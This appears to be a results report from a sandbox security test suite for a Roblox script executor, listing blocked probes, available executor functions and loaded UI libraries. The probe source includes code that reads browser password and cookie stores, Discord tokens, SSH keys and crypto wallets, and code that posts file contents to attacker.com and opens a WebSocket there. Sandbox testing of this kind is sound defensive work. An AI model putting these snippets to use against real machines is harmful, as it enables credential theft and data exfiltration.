-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "Browser Data Access",
callback = function()
if not readfile then return "Executor does not support function" end
local _, err = pcall(function()
readfile(os.getenv("LOCALAPPDATA").."\\Google\\Chrome\\User Data\\Default\\Login Data")
readfile(os.getenv("LOCALAPPDATA").."\\Microsoft\\Edge\\User Data\\Default\\Login Data")
end)
assert(err, "Browser credential access")
end,
}, | ||||
| System: OS/IO Library RCE | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "System: OS/IO Library RCE",
callback = function()
local dangerous = {}
pcall(function() if io.popen then dangerous["io.popen"] = io.popen end end)
pcall(function() if os.execute then dangerous["os.execute"] = os.execute end end)
pcall(function() if os.remove then dangerous["os.remove"] = os.remove end end)
pcall(function() if os.rename then dangerous["os.rename"] = os.rename end end)
if next(dangerous) then error("CRITICAL: Dangerous OS/IO functions present!") end
end,
}, | ||||
| File System: UNC Path Bypass | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "File System: UNC Path Bypass",
callback = function()
if not writefile then return "writefile not supported" end
local p = "\\\\127.0.0.1\\C$\\vuln_test.txt"
local ok = pcall(function() writefile(p,"test") end)
if ok then pcall(delfile,p); error("Filesystem sandbox escaped via UNC Path") end
end,
}, | ||||
| System: Console Spam/Freeze | MITIGATED | WARNING: Allowed setting massive console title | ||
-- Test passed (mitigated)
-- Runtime message: WARNING: Allowed setting massive console title
-- Probe source that was blocked:
{
name = "System: Console Spam/Freeze",
callback = function()
if not rconsoleprint then return "rconsole not supported" end
if rconsolename then
local ok = pcall(function() rconsolename(string.rep("A",10000)) end)
if ok then return "WARNING: Allowed setting massive console title" end
end
end,
}, | ||||
| System: FFI Exposure | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "System: FFI Exposure",
callback = function()
local has_ffi = false
pcall(function() if ffi then has_ffi = true end end)
pcall(function()
if package and package.loaded and package.loaded.ffi then has_ffi = true end
end)
if has_ffi then error("CRITICAL: FFI Library is exposed!") end
end,
}, | ||||
| Process Injection Attempt | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "Process Injection Attempt",
callback = function()
local _, err = pcall(function()
local h = io.popen("tasklist")
if h then h:read("*a"); h:close() end
end)
assert(err, "Process enumeration capability")
end,
}, | ||||
| DLL Injection Test | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "DLL Injection Test",
callback = function()
if not loadstring then return "Executor does not support function" end
local _, err = pcall(function()
local ffi = require("ffi")
ffi.cdef("void* LoadLibraryA(const char* lpFileName);")
ffi.C.LoadLibraryA("malicious.dll")
end)
assert(err, "DLL loading capability")
end,
}, | ||||
| Data Exfiltration Test | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "Data Exfiltration Test",
callback = function()
if not readfile or not request then return "Executor does not support function" end
local _, err = pcall(function()
local data = readfile("workspace/sensitive.txt")
request({ Url="http://attacker.com/steal", Method="POST", Body=data })
end)
assert(err, "File exfiltration capability")
end,
}, | ||||
| Environment Variable Access | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "Environment Variable Access",
callback = function()
local _, err = pcall(function()
local _ = os.getenv("USERNAME")
local _ = os.getenv("COMPUTERNAME")
local _ = os.getenv("USERPROFILE")
local _ = os.getenv("TEMP")
end)
assert(err, "Environment variable access")
end,
}, | ||||
| Hidden File Creation | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "Hidden File Creation",
callback = function()
if not writefile then return "Executor does not support function" end
local _, err = pcall(function()
writefile("hidden.exe","backdoor")
if os.execute then os.execute("attrib +h +s hidden.exe") end
end)
assert(err, "Hidden file capability")
end,
}, | ||||
| Chrome Password Theft | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "Chrome Password Theft",
callback = function()
if not readfile then return "Executor does not support function" end
local _, err = pcall(function()
readfile(os.getenv("LOCALAPPDATA").."\\Google\\Chrome\\User Data\\Default\\Login Data")
end)
assert(err, "Browser password database accessible")
end,
}, | ||||
| Discord Token Extraction | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "Discord Token Extraction",
callback = function()
if not readfile or not listfiles then return "Executor does not support function" end
local _, err = pcall(function()
listfiles(os.getenv("APPDATA").."\\discord\\Local Storage\\leveldb")
listfiles(os.getenv("APPDATA").."\\discordcanary\\Local Storage\\leveldb")
end)
assert(err, "Discord token access")
end,
}, | ||||
| Steam Session Hijacking | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "Steam Session Hijacking",
callback = function()
if not readfile then return "Executor does not support function" end
local _, err = pcall(function()
readfile("C:\\Program Files (x86)\\Steam\\config\\loginusers.vdf")
end)
assert(err, "Steam session data accessible")
end,
}, | ||||
| SSH Key Theft | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "SSH Key Theft",
callback = function()
if not readfile then return "Executor does not support function" end
local _, err = pcall(function()
readfile(os.getenv("USERPROFILE").."\\.ssh\\id_rsa")
end)
assert(err, "SSH private key accessible")
end,
}, | ||||
| Browser Cookie Extraction | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "Browser Cookie Extraction",
callback = function()
if not readfile then return "Executor does not support function" end
local _, err = pcall(function()
readfile(os.getenv("LOCALAPPDATA").."\\Google\\Chrome\\User Data\\Default\\Cookies")
readfile(os.getenv("LOCALAPPDATA").."\\Microsoft\\Edge\\User Data\\Default\\Cookies")
readfile(os.getenv("LOCALAPPDATA").."\\Mozilla\\Firefox\\Profiles")
end)
assert(err, "Browser cookies accessible")
end,
}, | ||||
| Cryptocurrency Wallet Theft | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "Cryptocurrency Wallet Theft",
callback = function()
if not readfile or not listfiles then return "Executor does not support function" end
local _, err = pcall(function()
listfiles(os.getenv("APPDATA").."\\Ethereum\\keystore")
listfiles(os.getenv("APPDATA").."\\Bitcoin\\wallet.dat")
end)
assert(err, "Crypto wallet access")
end,
}, | ||||
| Module Script Injection | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "Module Script Injection",
callback = function()
local _, err = pcall(function()
if loadstring then
local m = loadstring("return setfenv(function() end, getfenv(0))()")
if m then error("Module injection possible") end
end
end)
end,
}, | ||||
| CoreGui Access | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "CoreGui Access",
callback = function()
local _, err = pcall(function()
local rg = game:GetService("CoreGui"):FindFirstChild("RobloxGui")
if rg then error("CoreGui manipulation possible") end
end)
end,
}, | ||||
| Plugin Security Bypass | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "Plugin Security Bypass",
callback = function()
local _, err = pcall(function()
if plugin then error("Plugin context accessible") end
end)
end,
}, | ||||
| Require Hijacking | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "Require Hijacking",
callback = function()
local _, err = pcall(function()
if hookfunction then
hookfunction(require, function()
return function() error("Require hijacked") end
end)
error("Require function hookable")
end
end)
end,
}, | ||||
| Metatable Protection Bypass | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "Metatable Protection Bypass",
callback = function()
local _, err = pcall(function()
local protected = setmetatable({}, {__metatable = "Protected"})
if getrawmetatable then
local mt = getrawmetatable(protected)
if mt then error("Metatable protection bypassed") end
end
end)
end,
}, | ||||
| Memory Dump Capability | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "Memory Dump Capability",
callback = function()
local _, err = pcall(function()
if readfile and writefile then
local gc = getgc and getgc(true) or {}
if #gc > 10000 then error("Memory enumeration possible") end
end
end)
end,
}, | ||||
| Stack Trace Manipulation | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "Stack Trace Manipulation",
callback = function()
local _, err = pcall(function()
if debug and debug.traceback then
local _ = debug.traceback()
if setstack then error("Stack manipulation possible") end
end
end)
end,
}, | ||||
| Heap Spray Detection | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "Heap Spray Detection",
callback = function()
local _, err = pcall(function()
local spray = {}
for i = 1, 100000 do spray[i] = string.rep("A", 1000) end
if #spray > 50000 then return "WARNING: Unrestricted memory allocation" end
end)
end,
}, | ||||
| Temp Folder Write Access | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "Temp Folder Write Access",
callback = function()
if not writefile then return "Executor does not support function" end
local _, err = pcall(function()
writefile(os.getenv("TEMP").."\\malware.exe","test")
end)
assert(err, "Unrestricted temp folder access")
end,
}, | ||||
| AppData Roaming Access | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "AppData Roaming Access",
callback = function()
if not listfiles then return "Executor does not support function" end
local _, err = pcall(function() listfiles(os.getenv("APPDATA")) end)
assert(err, "AppData enumeration")
end,
}, | ||||
| Desktop File Access | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "Desktop File Access",
callback = function()
if not readfile then return "Executor does not support function" end
local _, err = pcall(function()
listfiles(os.getenv("USERPROFILE").."\\Desktop")
end)
assert(err, "Desktop folder access")
end,
}, | ||||
| Downloads Folder Enumeration | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "Downloads Folder Enumeration",
callback = function()
if not listfiles then return "Executor does not support function" end
local _, err = pcall(function()
listfiles(os.getenv("USERPROFILE").."\\Downloads")
end)
assert(err, "Downloads folder access")
end,
}, | ||||
| Documents Folder Access | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "Documents Folder Access",
callback = function()
if not listfiles then return "Executor does not support function" end
local _, err = pcall(function()
listfiles(os.getenv("USERPROFILE").."\\Documents")
end)
assert(err, "Documents folder access")
end,
}, | ||||
| File Extension Spoofing | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "File Extension Spoofing",
callback = function()
if not writefile then return "Executor does not support function" end
local _, err = pcall(function() writefile("innocent.txt.exe","malware") end)
assert(err, "Executable extension allowed")
end,
}, | ||||
| Path Traversal (Relative) | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "Path Traversal (Relative)",
callback = function()
if not readfile then return "Executor does not support function" end
local _, err = pcall(function()
readfile("../../../Windows/System32/drivers/etc/hosts")
end)
assert(err, "Relative path traversal")
end,
}, | ||||
| File Overwrite Protection | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "File Overwrite Protection",
callback = function()
if not writefile then return "Executor does not support function" end
local _, err = pcall(function()
writefile("C:\\Windows\\System32\\important.dll","overwritten")
end)
assert(err, "System file overwrite possible")
end,
}, | ||||
| WebSocket Connection | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "WebSocket Connection",
callback = function()
local _, err = pcall(function()
if WebSocket then
WebSocket.connect("ws://attacker.com")
error("WebSocket available")
end
end)
end,
}, | ||||
| FTP Connection Attempt | MITIGATED | nil | ||
-- Test passed (mitigated)
-- Runtime message: nil
-- Probe source that was blocked:
{
name = "FTP Connection Attempt",
callback = function()
if not request then return "Executor does not support function" end
local _, err = pcall(function()
request({Url="ftp://malicious-ftp.com",Method="GET"})
end)
assert(err, "FTP protocol access")
end,
}, | ||||
| IP Geolocation Leak | MITIGATED | WARNING: IP geolocation accessible | ||
-- Test passed (mitigated)
-- Runtime message: WARNING: IP geolocation accessible
-- Probe source that was blocked:
{
name = "IP Geolocation Leak",
callback = function()
if not request then return "Executor does not support function" end
local ok, result = pcall(function()
local resp = request({Url="https://ipapi.co/json/"})
if resp and resp.Body then
return game:GetService("HttpService"):JSONDecode(resp.Body)
end
end)
if ok and result then return "WARNING: IP geolocation accessible" end
end,
}, | ||||
FUNCTIONS
55
PRESENT
0
MISSING
100%
COVERAGE
55 checked
| FUNCTION | CATEGORY | STATUS | ||
|---|---|---|---|---|
| Drawing | MISC FUNCTIONS | PRESENT | ||
-- Function: Drawing
-- Category: MISC FUNCTIONS
-- Status: PRESENT (loaded by executor)
-- Check:
if Drawing then
print("Drawing is available")
else
print("Drawing is NOT available")
end | ||||
| appendfile | MISC FUNCTIONS | PRESENT | ||
-- Function: appendfile
-- Category: MISC FUNCTIONS
-- Status: PRESENT (loaded by executor)
-- Check:
if appendfile then
print("appendfile is available")
else
print("appendfile is NOT available")
end | ||||
| checkcaller | EXECUTOR FUNCTIONS | PRESENT | ||
-- Function: checkcaller
-- Category: EXECUTOR FUNCTIONS
-- Status: PRESENT (loaded by executor)
-- Check:
if checkcaller then
print("checkcaller is available")
else
print("checkcaller is NOT available")
end | ||||
| crypt.base64decode | EXECUTOR FUNCTIONS | PRESENT | ||
-- Function: crypt.base64decode
-- Category: EXECUTOR FUNCTIONS
-- Status: PRESENT (loaded by executor)
-- Check:
if crypt.base64decode then
print("crypt.base64decode is available")
else
print("crypt.base64decode is NOT available")
end | ||||
| crypt.base64encode | EXECUTOR FUNCTIONS | PRESENT | ||
-- Function: crypt.base64encode
-- Category: EXECUTOR FUNCTIONS
-- Status: PRESENT (loaded by executor)
-- Check:
if crypt.base64encode then
print("crypt.base64encode is available")
else
print("crypt.base64encode is NOT available")
end | ||||
| crypt.decrypt | EXECUTOR FUNCTIONS | PRESENT | ||
-- Function: crypt.decrypt
-- Category: EXECUTOR FUNCTIONS
-- Status: PRESENT (loaded by executor)
-- Check:
if crypt.decrypt then
print("crypt.decrypt is available")
else
print("crypt.decrypt is NOT available")
end | ||||
| crypt.encrypt | EXECUTOR FUNCTIONS | PRESENT | ||
-- Function: crypt.encrypt
-- Category: EXECUTOR FUNCTIONS
-- Status: PRESENT (loaded by executor)
-- Check:
if crypt.encrypt then
print("crypt.encrypt is available")
else
print("crypt.encrypt is NOT available")
end | ||||
| crypt.generatebytes | EXECUTOR FUNCTIONS | PRESENT | ||
-- Function: crypt.generatebytes
-- Category: EXECUTOR FUNCTIONS
-- Status: PRESENT (loaded by executor)
-- Check:
if crypt.generatebytes then
print("crypt.generatebytes is available")
else
print("crypt.generatebytes is NOT available")
end | ||||
| crypt.generatekey | EXECUTOR FUNCTIONS | PRESENT | ||
-- Function: crypt.generatekey
-- Category: EXECUTOR FUNCTIONS
-- Status: PRESENT (loaded by executor)
-- Check:
if crypt.generatekey then
print("crypt.generatekey is available")
else
print("crypt.generatekey is NOT available")
end | ||||
| crypt.hash | EXECUTOR FUNCTIONS | PRESENT | ||
-- Function: crypt.hash
-- Category: EXECUTOR FUNCTIONS
-- Status: PRESENT (loaded by executor)
-- Check:
if crypt.hash then
print("crypt.hash is available")
else
print("crypt.hash is NOT available")
end | ||||
| decompile | MISC FUNCTIONS | PRESENT | ||
-- Function: decompile
-- Category: MISC FUNCTIONS
-- Status: PRESENT (loaded by executor)
-- Check:
if decompile then
print("decompile is available")
else
print("decompile is NOT available")
end | ||||
| delfile | MISC FUNCTIONS | PRESENT | ||
-- Function: delfile
-- Category: MISC FUNCTIONS
-- Status: PRESENT (loaded by executor)
-- Check:
if delfile then
print("delfile is available")
else
print("delfile is NOT available")
end | ||||
| dumpstring | EXECUTOR FUNCTIONS | PRESENT | ||
-- Function: dumpstring
-- Category: EXECUTOR FUNCTIONS
-- Status: PRESENT (loaded by executor)
-- Check:
if dumpstring then
print("dumpstring is available")
else
print("dumpstring is NOT available")
end | ||||
| getcallingscript | EXECUTOR FUNCTIONS | PRESENT | ||
-- Function: getcallingscript
-- Category: EXECUTOR FUNCTIONS
-- Status: PRESENT (loaded by executor)
-- Check:
if getcallingscript then
print("getcallingscript is available")
else
print("getcallingscript is NOT available")
end | ||||
| getconnections | EXECUTOR FUNCTIONS | PRESENT | ||
-- Function: getconnections
-- Category: EXECUTOR FUNCTIONS
-- Status: PRESENT (loaded by executor)
-- Check:
if getconnections then
print("getconnections is available")
else
print("getconnections is NOT available")
end | ||||
| getconstant | DEBUG FUNCTIONS | PRESENT | ||
-- Function: getconstant
-- Category: DEBUG FUNCTIONS
-- Status: PRESENT (loaded by executor)
-- Check:
if getconstant then
print("getconstant is available")
else
print("getconstant is NOT available")
end | ||||
| getconstants | DEBUG FUNCTIONS | PRESENT | ||
-- Function: getconstants
-- Category: DEBUG FUNCTIONS
-- Status: PRESENT (loaded by executor)
-- Check:
if getconstants then
print("getconstants is available")
else
print("getconstants is NOT available")
end | ||||
| getfenv | EXECUTOR FUNCTIONS | PRESENT | ||
-- Function: getfenv
-- Category: EXECUTOR FUNCTIONS
-- Status: PRESENT (loaded by executor)
-- Check:
if getfenv then
print("getfenv is available")
else
print("getfenv is NOT available")
end | ||||
| getgc | EXECUTOR FUNCTIONS | PRESENT | ||
-- Function: getgc
-- Category: EXECUTOR FUNCTIONS
-- Status: PRESENT (loaded by executor)
-- Check:
if getgc then
print("getgc is available")
else
print("getgc is NOT available")
end | ||||
| getgenv | EXECUTOR FUNCTIONS | PRESENT | ||
-- Function: getgenv
-- Category: EXECUTOR FUNCTIONS
-- Status: PRESENT (loaded by executor)
-- Check:
if getgenv then
print("getgenv is available")
else
print("getgenv is NOT available")
end | ||||
| gethiddenproperty | MISC FUNCTIONS | PRESENT | ||
-- Function: gethiddenproperty
-- Category: MISC FUNCTIONS
-- Status: PRESENT (loaded by executor)
-- Check:
if gethiddenproperty then
print("gethiddenproperty is available")
else
print("gethiddenproperty is NOT available")
end | ||||
| getinfo | DEBUG FUNCTIONS | PRESENT | ||
-- Function: getinfo
-- Category: DEBUG FUNCTIONS
-- Status: PRESENT (loaded by executor)
-- Check:
if getinfo then
print("getinfo is available")
else
print("getinfo is NOT available")
end | ||||
| getinstances | EXECUTOR FUNCTIONS | PRESENT | ||
-- Function: getinstances
-- Category: EXECUTOR FUNCTIONS
-- Status: PRESENT (loaded by executor)
-- Check:
if getinstances then
print("getinstances is available")
else
print("getinstances is NOT available")
end | ||||
| getloadedmodules | EXECUTOR FUNCTIONS | PRESENT | ||
-- Function: getloadedmodules
-- Category: EXECUTOR FUNCTIONS
-- Status: PRESENT (loaded by executor)
-- Check:
if getloadedmodules then
print("getloadedmodules is available")
else
print("getloadedmodules is NOT available")
end | ||||
| getnamecallmethod | EXECUTOR FUNCTIONS | PRESENT | ||
-- Function: getnamecallmethod
-- Category: EXECUTOR FUNCTIONS
-- Status: PRESENT (loaded by executor)
-- Check:
if getnamecallmethod then
print("getnamecallmethod is available")
else
print("getnamecallmethod is NOT available")
end | ||||
| getnilinstances | EXECUTOR FUNCTIONS | PRESENT | ||
-- Function: getnilinstances
-- Category: EXECUTOR FUNCTIONS
-- Status: PRESENT (loaded by executor)
-- Check:
if getnilinstances then
print("getnilinstances is available")
else
print("getnilinstances is NOT available")
end | ||||
| getproto | DEBUG FUNCTIONS | PRESENT | ||
-- Function: getproto
-- Category: DEBUG FUNCTIONS
-- Status: PRESENT (loaded by executor)
-- Check:
if getproto then
print("getproto is available")
else
print("getproto is NOT available")
end | ||||
| getprotos | DEBUG FUNCTIONS | PRESENT | ||
-- Function: getprotos
-- Category: DEBUG FUNCTIONS
-- Status: PRESENT (loaded by executor)
-- Check:
if getprotos then
print("getprotos is available")
else
print("getprotos is NOT available")
end | ||||
| getrawmetatable | EXECUTOR FUNCTIONS | PRESENT | ||
-- Function: getrawmetatable
-- Category: EXECUTOR FUNCTIONS
-- Status: PRESENT (loaded by executor)
-- Check:
if getrawmetatable then
print("getrawmetatable is available")
else
print("getrawmetatable is NOT available")
end | ||||
| getreg | EXECUTOR FUNCTIONS | PRESENT | ||
-- Function: getreg
-- Category: EXECUTOR FUNCTIONS
-- Status: PRESENT (loaded by executor)
-- Check:
if getreg then
print("getreg is available")
else
print("getreg is NOT available")
end | ||||
| getscripts | EXECUTOR FUNCTIONS | PRESENT | ||
-- Function: getscripts
-- Category: EXECUTOR FUNCTIONS
-- Status: PRESENT (loaded by executor)
-- Check:
if getscripts then
print("getscripts is available")
else
print("getscripts is NOT available")
end | ||||
| getsenv | EXECUTOR FUNCTIONS | PRESENT | ||
-- Function: getsenv
-- Category: EXECUTOR FUNCTIONS
-- Status: PRESENT (loaded by executor)
-- Check:
if getsenv then
print("getsenv is available")
else
print("getsenv is NOT available")
end | ||||
| getstack | DEBUG FUNCTIONS | PRESENT | ||
-- Function: getstack
-- Category: DEBUG FUNCTIONS
-- Status: PRESENT (loaded by executor)
-- Check:
if getstack then
print("getstack is available")
else
print("getstack is NOT available")
end | ||||
| getupvalue | DEBUG FUNCTIONS | PRESENT | ||
-- Function: getupvalue
-- Category: DEBUG FUNCTIONS
-- Status: PRESENT (loaded by executor)
-- Check:
if getupvalue then
print("getupvalue is available")
else
print("getupvalue is NOT available")
end | ||||
| getupvalues | DEBUG FUNCTIONS | PRESENT | ||
-- Function: getupvalues
-- Category: DEBUG FUNCTIONS
-- Status: PRESENT (loaded by executor)
-- Check:
if getupvalues then
print("getupvalues is available")
else
print("getupvalues is NOT available")
end | ||||
| hookfunction | EXECUTOR FUNCTIONS | PRESENT | ||
-- Function: hookfunction
-- Category: EXECUTOR FUNCTIONS
-- Status: PRESENT (loaded by executor)
-- Check:
if hookfunction then
print("hookfunction is available")
else
print("hookfunction is NOT available")
end | ||||
| islclosure | EXECUTOR FUNCTIONS | PRESENT | ||
-- Function: islclosure
-- Category: EXECUTOR FUNCTIONS
-- Status: PRESENT (loaded by executor)
-- Check:
if islclosure then
print("islclosure is available")
else
print("islclosure is NOT available")
end | ||||
| isreadonly | EXECUTOR FUNCTIONS | PRESENT | ||
-- Function: isreadonly
-- Category: EXECUTOR FUNCTIONS
-- Status: PRESENT (loaded by executor)
-- Check:
if isreadonly then
print("isreadonly is available")
else
print("isreadonly is NOT available")
end | ||||
| listfiles | MISC FUNCTIONS | PRESENT | ||
-- Function: listfiles
-- Category: MISC FUNCTIONS
-- Status: PRESENT (loaded by executor)
-- Check:
if listfiles then
print("listfiles is available")
else
print("listfiles is NOT available")
end | ||||
| loadfile | MISC FUNCTIONS | PRESENT | ||
-- Function: loadfile
-- Category: MISC FUNCTIONS
-- Status: PRESENT (loaded by executor)
-- Check:
if loadfile then
print("loadfile is available")
else
print("loadfile is NOT available")
end | ||||
| loadstring | EXECUTOR FUNCTIONS | PRESENT | ||
-- Function: loadstring
-- Category: EXECUTOR FUNCTIONS
-- Status: PRESENT (loaded by executor)
-- Check:
if loadstring then
print("loadstring is available")
else
print("loadstring is NOT available")
end | ||||
| makefolder | MISC FUNCTIONS | PRESENT | ||
-- Function: makefolder
-- Category: MISC FUNCTIONS
-- Status: PRESENT (loaded by executor)
-- Check:
if makefolder then
print("makefolder is available")
else
print("makefolder is NOT available")
end | ||||
| newcclosure | EXECUTOR FUNCTIONS | PRESENT | ||
-- Function: newcclosure
-- Category: EXECUTOR FUNCTIONS
-- Status: PRESENT (loaded by executor)
-- Check:
if newcclosure then
print("newcclosure is available")
else
print("newcclosure is NOT available")
end | ||||
| readfile | MISC FUNCTIONS | PRESENT | ||
-- Function: readfile
-- Category: MISC FUNCTIONS
-- Status: PRESENT (loaded by executor)
-- Check:
if readfile then
print("readfile is available")
else
print("readfile is NOT available")
end | ||||
| replaceclosure | EXECUTOR FUNCTIONS | PRESENT | ||
-- Function: replaceclosure
-- Category: EXECUTOR FUNCTIONS
-- Status: PRESENT (loaded by executor)
-- Check:
if replaceclosure then
print("replaceclosure is available")
else
print("replaceclosure is NOT available")
end | ||||
| request | EXECUTOR FUNCTIONS | PRESENT | ||
-- Function: request
-- Category: EXECUTOR FUNCTIONS
-- Status: PRESENT (loaded by executor)
-- Check:
if request then
print("request is available")
else
print("request is NOT available")
end | ||||
| setconstant | DEBUG FUNCTIONS | PRESENT | ||
-- Function: setconstant
-- Category: DEBUG FUNCTIONS
-- Status: PRESENT (loaded by executor)
-- Check:
if setconstant then
print("setconstant is available")
else
print("setconstant is NOT available")
end | ||||
| setfflag | EXECUTOR FUNCTIONS | PRESENT | ||
-- Function: setfflag
-- Category: EXECUTOR FUNCTIONS
-- Status: PRESENT (loaded by executor)
-- Check:
if setfflag then
print("setfflag is available")
else
print("setfflag is NOT available")
end | ||||
| sethiddenproperty | MISC FUNCTIONS | PRESENT | ||
-- Function: sethiddenproperty
-- Category: MISC FUNCTIONS
-- Status: PRESENT (loaded by executor)
-- Check:
if sethiddenproperty then
print("sethiddenproperty is available")
else
print("sethiddenproperty is NOT available")
end | ||||
| setmetatable | DEBUG FUNCTIONS | PRESENT | ||
-- Function: setmetatable
-- Category: DEBUG FUNCTIONS
-- Status: PRESENT (loaded by executor)
-- Check:
if setmetatable then
print("setmetatable is available")
else
print("setmetatable is NOT available")
end | ||||
| setnamecallmethod | EXECUTOR FUNCTIONS | PRESENT | ||
-- Function: setnamecallmethod
-- Category: EXECUTOR FUNCTIONS
-- Status: PRESENT (loaded by executor)
-- Check:
if setnamecallmethod then
print("setnamecallmethod is available")
else
print("setnamecallmethod is NOT available")
end | ||||
| setreadonly | EXECUTOR FUNCTIONS | PRESENT | ||
-- Function: setreadonly
-- Category: EXECUTOR FUNCTIONS
-- Status: PRESENT (loaded by executor)
-- Check:
if setreadonly then
print("setreadonly is available")
else
print("setreadonly is NOT available")
end | ||||
| setstack | DEBUG FUNCTIONS | PRESENT | ||
-- Function: setstack
-- Category: DEBUG FUNCTIONS
-- Status: PRESENT (loaded by executor)
-- Check:
if setstack then
print("setstack is available")
else
print("setstack is NOT available")
end | ||||
| setupvalue | DEBUG FUNCTIONS | PRESENT | ||
-- Function: setupvalue
-- Category: DEBUG FUNCTIONS
-- Status: PRESENT (loaded by executor)
-- Check:
if setupvalue then
print("setupvalue is available")
else
print("setupvalue is NOT available")
end | ||||
| writefile | MISC FUNCTIONS | PRESENT | ||
-- Function: writefile
-- Category: MISC FUNCTIONS
-- Status: PRESENT (loaded by executor)
-- Check:
if writefile then
print("writefile is available")
else
print("writefile is NOT available")
end | ||||
UI LIBRARIES
| LIBRARY | STATUS | ||
|---|---|---|---|
| OrionLib | LOADED | ||
-- Library: OrionLib -- Status: LOADED SUCCESSFULLY -- The library was fetched, parsed, and executed without error. -- It is injected into the executor environment and ready to use. | |||
| Rayfield | LOADED | ||
-- Library: Rayfield -- Status: LOADED SUCCESSFULLY -- The library was fetched, parsed, and executed without error. -- It is injected into the executor environment and ready to use. | |||
| SiriusLib | LOADED | ||
-- Library: SiriusLib -- Status: LOADED SUCCESSFULLY -- The library was fetched, parsed, and executed without error. -- It is injected into the executor environment and ready to use. | |||
| WallyV3 | LOADED | ||
-- Library: WallyV3 -- Status: LOADED SUCCESSFULLY -- The library was fetched, parsed, and executed without error. -- It is injected into the executor environment and ready to use. | |||
| ReGui | FAILED | ||
-- Library: ReGui -- Status: LOAD FAILED -- Possible causes: -- 1. HTTP fetch failed (executor blocked outbound requests) -- 2. loadstring() returned nil (syntax/parse error) -- 3. Library execution threw a runtime error -- 4. The URL returned 404 / empty response -- Error detail: ReGui - Timeout | |||
| Bracket | LOADED | ||
-- Library: Bracket -- Status: LOADED SUCCESSFULLY -- The library was fetched, parsed, and executed without error. -- It is injected into the executor environment and ready to use. | |||
| Obsidian | LOADED | ||
-- Library: Obsidian -- Status: LOADED SUCCESSFULLY -- The library was fetched, parsed, and executed without error. -- It is injected into the executor environment and ready to use. | |||
| LinoriaLib | LOADED | ||
-- Library: LinoriaLib -- Status: LOADED SUCCESSFULLY -- The library was fetched, parsed, and executed without error. -- It is injected into the executor environment and ready to use. | |||
| Darius (Wax) | LOADED | ||
-- Library: Darius (Wax) -- Status: LOADED SUCCESSFULLY -- The library was fetched, parsed, and executed without error. -- It is injected into the executor environment and ready to use. | |||
| Darius (Min) | LOADED | ||
-- Library: Darius (Min) -- Status: LOADED SUCCESSFULLY -- The library was fetched, parsed, and executed without error. -- It is injected into the executor environment and ready to use. | |||
| Darius (RBXM) | LOADED | ||
-- Library: Darius (RBXM) -- Status: LOADED SUCCESSFULLY -- The library was fetched, parsed, and executed without error. -- It is injected into the executor environment and ready to use. | |||
| Linoria (wis-h) | LOADED | ||
-- Library: Linoria (wis-h) -- Status: LOADED SUCCESSFULLY -- The library was fetched, parsed, and executed without error. -- It is injected into the executor environment and ready to use. | |||
| Monolith | FAILED | ||
-- Library: Monolith -- Status: LOAD FAILED -- Possible causes: -- 1. HTTP fetch failed (executor blocked outbound requests) -- 2. loadstring() returned nil (syntax/parse error) -- 3. Library execution threw a runtime error -- 4. The URL returned 404 / empty response -- Error detail: Monolith - Execution failed: :63: attempt to index nil with 'Register' | |||
STRESS TEST
| STAGE | ITERATIONS | TIME | SPEED | STATUS | ||
|---|---|---|---|---|---|---|
| Very Light | 10,000 | 0.002s | 5,133,787/s | PASS | ||
-- Stage: Very Light
-- Status: PASS
-- Iterations: 10,000
-- Time: 0.002s
